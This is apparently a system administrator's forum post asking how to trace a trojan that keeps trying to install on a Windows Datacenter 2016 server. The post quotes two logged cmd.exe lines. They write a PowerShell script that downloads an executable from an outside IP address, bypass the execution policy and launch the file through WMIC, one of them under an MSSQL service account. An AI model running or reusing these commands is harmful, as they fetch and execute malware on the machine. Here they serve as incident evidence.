On one of our windows datacenter 2016, there's an alert that a trojan is trying to install :

The following powershell is trying to execute at seemingly random hours of the day (always during working hours, one to two times a day, sometimes there's a few days between attempts which makes me think it's embeded in a file that is executed by the users of the machine)

CmdLine:C:\Windows\System32\cmd.exe /C echo $cl = New-Object System.Net.WebClient >%TEMP%\updt.ps1 & echo $cl.DownloadFile(http://80.66.75.36/p-Eehpf.exe, %TEMP%\tzt.exe) >> %TEMP%\updt.ps1 & powershell -ExecutionPolicy Bypass %TEMP%\updt.ps1 & WMIC process call create %TEMP%\tzt.exe
CmdLine:C:\Windows\System32\cmd.exe /C echo $cl = New-Object System.Net.WebClient >C:\Users\MSSQL$SAGE100\AppData\Local\Temp\updt.ps1 & echo $cl.DownloadFile(http://80.66.75.36/p-Eehpf.exe, C:\Users\MSSQL$SAGE100\AppData\Local\Temp\tzt.exe) >> C:\Users\MSSQL$SAGE100\AppData\Local\Temp\updt.ps1 & powershell -ExecutionPolicy Bypass C:\Users\MSSQL$SAGE100\AppData\Local\Temp\updt.ps1 & WMIC process call create C:\Users\MSSQL$SAGE100\AppData\Local\Temp\tzt.exe

So I suppose it's embeded in some kind of other files, or through a network attack, but I don't know how to investigate this to know which service/file is faulty.